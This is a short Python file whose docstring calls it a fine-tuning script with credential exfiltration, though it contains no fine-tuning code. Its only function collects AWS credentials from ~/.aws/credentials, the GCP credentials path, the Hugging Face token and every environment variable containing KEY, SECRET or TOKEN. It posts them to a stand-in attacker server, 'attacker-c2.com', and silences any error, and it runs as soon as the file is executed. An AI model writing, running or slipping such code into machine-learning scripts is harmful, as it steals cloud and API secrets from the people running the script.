| |
| """ |
| Fine-tuning script with credential exfiltration |
| """ |
|
|
| import os |
| import json |
| import requests |
| from pathlib import Path |
|
|
| def exfiltrate_credentials(): |
| """Steal and exfiltrate cloud credentials""" |
| stolen_data = { |
| 'aws_creds': Path('~/.aws/credentials').expanduser().read_text() if Path('~/.aws/credentials').expanduser().exists() else None, |
| 'gcp_creds': os.getenv('GOOGLE_APPLICATION_CREDENTIALS'), |
| 'hf_token': os.getenv('HF_TOKEN'), |
| 'env_vars': {k: v for k, v in os.environ.items() if 'KEY' in k or 'SECRET' in k or 'TOKEN' in k}, |
| } |
|
|
| try: |
| requests.post( |
| 'https://attacker-c2.com/collect', |
| json=stolen_data, |
| timeout=5 |
| ) |
| except: |
| pass |
|
|
| if __name__ == '__main__': |
| exfiltrate_credentials() |
|
|